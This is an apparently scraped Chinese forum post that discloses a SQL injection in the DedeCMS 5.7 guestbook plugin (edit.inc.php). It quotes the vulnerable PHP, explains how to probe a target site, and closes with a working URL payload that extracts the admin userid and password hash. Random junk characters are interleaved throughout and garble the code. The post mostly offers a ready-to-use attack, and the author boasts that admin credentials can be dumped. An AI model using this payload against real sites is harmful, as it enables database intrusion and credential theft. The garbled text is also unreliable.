影响版本为5.7( Y6 r4 x0 O6 M* A2 ^
0 _- k% L8 e x5 V r1 H3 l漏洞文件edit.inc.php具体代码:* ]- ~7 z' l7 ]( |" c) f7 C
3 k+ f0 M3 p- Z0 |< ?php
9 M( c( s6 g6 b* @0 S8 O P: |7 i6 m; A! r% O& I3 r C, d) v
if(!defined('DEDEINC')) exit('Request Error!'); 7 y* M: z6 k6 I" ^4 e9 X
+ }5 _/ H U/ {9 R
$ [) x- i) `2 _ |6 ~6 _% o g* Z( u9 a2 G. H, u2 Y
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
* c0 ^# K" g9 G& F% H3 E% O3 b; R2 S! O" R% [ y1 s
else $GUEST_BOOK_POS = "guestbook.php"; : B1 T5 A/ M0 W8 E7 f0 v) c5 Z
* y' Y2 f% h3 D1 } 1 `. z$ c" G. t$ S) \' O! l
0 ~9 \. s; `* O z7 C' U5 a
$id = intval($id); " U' Y. w- L4 b* Y! w( l
' n- o- o4 x. w) M, `3 mif(empty($job)) $job='view'; ' a8 Z$ b2 Z: [9 ~! t* D
. M! Z$ \1 P E# Y% \9 ?
5 i3 e1 J4 b/ A# a$ v5 l& [6 q+ w! }
if($job=='del' && $g_isadmin) . _; f" u' ?* J; ?; j6 f
% j+ w! a+ @5 Q' z' |
{
2 K' T; w8 Z, s" h, [7 R8 M) `6 f; X, P
5 D6 j! U1 l+ N+ q5 @+ w7 C$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
; r1 }7 M3 _! | Y/ F0 }; K$ J1 Z/ K d2 S4 A" }
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
) C e* P% Q3 i! Q! ^' c
3 u+ X, v1 \& l: S# Z; vexit(); ( D" j" P/ T3 ]! ^& z: h, O
$ L3 B4 m( F' y8 w+ ]* n
}
0 D# s& z/ F2 M! u+ E+ l, }7 R- X+ D9 L6 o3 b* t
else if($job=='check' && $g_isadmin) 9 w6 i( \8 t" s& m/ @4 l# N9 G
1 e; l; r: r& |+ c{
5 J3 M- ~* J7 r. x8 k
9 s8 J# j/ r$ N e& s2 d$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
" I8 B3 a5 F3 d# t5 Z+ s1 Z. R/ u& c3 {, ?. I
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); # l7 }& f% @" e9 C" i6 E9 i
- @$ Z. R9 Y1 @+ F+ t
exit(); ' i: y7 F; A: ?4 c% ^2 }4 C5 q
3 D& u' u8 v8 b4 }7 K' ^) }}
8 e& Z* h6 T" N8 U
l8 I: n1 ]$ H' a: zelse if($job=='editok')
5 @! m+ T2 H. Q; h+ c1 N' |- c" j( k9 Y/ b' H( [3 u9 E$ z
{ 5 c/ I& u) }8 o3 O8 s2 I
1 z4 w# k7 R8 a3 L' S$remsg = trim($remsg);
! T/ Z3 s ^ [9 B; B! i# s; {* d" m
3 ^- w6 ^- m; K3 z5 Z: jif($remsg!='')
8 o5 V2 p5 u# g" q7 b! p8 y6 _% S9 x; x) X
{
2 V2 @4 Z, }4 `, J# r4 K5 k5 l1 ^& j% d" p
//管理员回复不过滤HTML By:Errorera blog:errs.cc
6 B, s$ x3 C9 H% m$ C! h8 J3 I6 B$ n& g( P4 r0 n
if($g_isadmin)
! w" B' x7 ]/ |+ Q& o
+ t6 H1 Q) y5 E' a0 {{
/ S0 \# Q" O! X/ p, C8 g1 ~9 |; E& G( \! x9 T4 X, ]+ W; w
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
; ^+ W+ j" u& E+ h' j- G) {/ B: q! e& |4 N) G3 Z2 P/ [$ @' Z- ]8 l
//$remsg <br /><font color=red>管理员回复:</font> } % a7 H5 x& T3 u, C7 y
2 D' O8 f; n& B& D- B! Pelse # _* X6 l" H4 b6 O8 X# d
0 w7 s% J9 k- c& P4 x{
! r! _, F* P& [6 l) J$ X5 f1 h8 l- a
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
# | V8 D5 K5 p
) K$ X4 ?6 k3 @1 Z8 s$ m' r$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; ) j, X5 l, i o0 ]- ]. N! w- c
6 Y7 u9 {6 }" j9 n+ E0 {" i% T
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
$ s5 O! [/ E& v8 ?" J% l4 h+ S
$msg = $oldmsg.$remsg;
# A+ l* v. ^" f* o+ d; G
) T7 V' H, Y) N: x: T* F}
, V# L0 g# A8 @: A( z8 M& P5 T+ {4 S
}
% k* a p4 g8 N8 i
0 o0 m: Z4 ^/ ^//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 6 p; Q, x; @" I4 W8 m! z
! L% d3 \% H+ h4 R+ y$ @1 X# {3 h* t1 d
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); : y$ a- O3 N6 s: I
- Y; B) r$ S2 T$ q$ @4 YShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
) c, A: }2 S }& _# k
& h! T# F5 s0 A8 ]3 Oexit(); $ M% X( K$ g0 Q8 ]! J' p
4 _: j# j' a% b/ T5 X7 ^; |} - s8 I$ K0 v1 N
- }2 A% _9 |; Y2 P! b//home:www.errs.cc
, F2 q3 l5 w& Y2 b# _4 q2 |
2 k2 m$ {* r* t0 s" I" Nif($g_isadmin) 9 x" F5 Q% ^* d: ]9 }
* |. k) v" y" [4 K; c2 l% c
{
5 _& b( b% t. B, o; c2 S
0 ^; P# m6 W" l5 o: H. f7 ~$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); ! j9 n( t( ^: I! g
' s# z' `& ^8 a% J0 o, I. [require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
7 j% w& n. ~: ^5 z& H6 i. T; r/ G: T0 `8 n4 a
}
) L7 G: `1 ^5 d c
6 G0 z: I9 ~! {5 g5 @else
+ J% w g h( ]6 @) n; Q
) ^- _/ Y( n; {7 E{
% H9 ?9 ]5 l) j
! Q1 s! f3 C. [* O# O0 g( |4 I$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); 1 b6 ~* o. R0 P* _* O& y* p
# T# V U/ k( j( |' A) o
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
# d: ~2 o5 z7 E; x% V
0 h( ~! @% z: |% P Q0 H} 漏洞成功需要条件:( U. s) v! d4 B9 d
1. php magic_quotes_gpc=off
! y5 K7 Z( e l/ V5 _1 h2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
4 U: [0 Z5 G# R5 m( i2 D
% w8 X; ^7 Q3 J3 C3 \2 L怎么判断是否存在漏洞:
! `' `! c5 g$ J/ |* o. X先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言," C! _' J, W. l% H9 G
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID+ D2 D% w( n" O9 V! I$ P
访问:
0 @( u! q* n/ L8 ~9 {3 t1 n
% o& _" d2 r9 R& G% `9 F$ K# R: wwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
5 e! v- \5 s, I6 _1 `) B" P6 U4 Z! L跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
/ A" r' x/ N9 }+ L6 Q2 W+ S8 y5 U# t" e) f& ]
' K1 U& J, w; Z, s8 o) X明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
4 ~7 }8 k; `/ K' z% m如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。6 A) G4 a4 S% p* o! V7 g
那么再次访问0 H/ d. I, s# A0 D. n9 U* O
r9 O) ~# Z) t8 \3 q; G& f4 Kwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
. {# [: S) d5 L* S! [7 `/ X, T9 s P
大概利用就是这样,大家有兴趣的多研究下!!: T3 x6 w) I$ `- {: A+ L
9 v8 x8 R% J# G最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!9 a t3 M) \, \7 |8 s7 ~+ z
2 B! ~: ^0 Y3 V" x
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |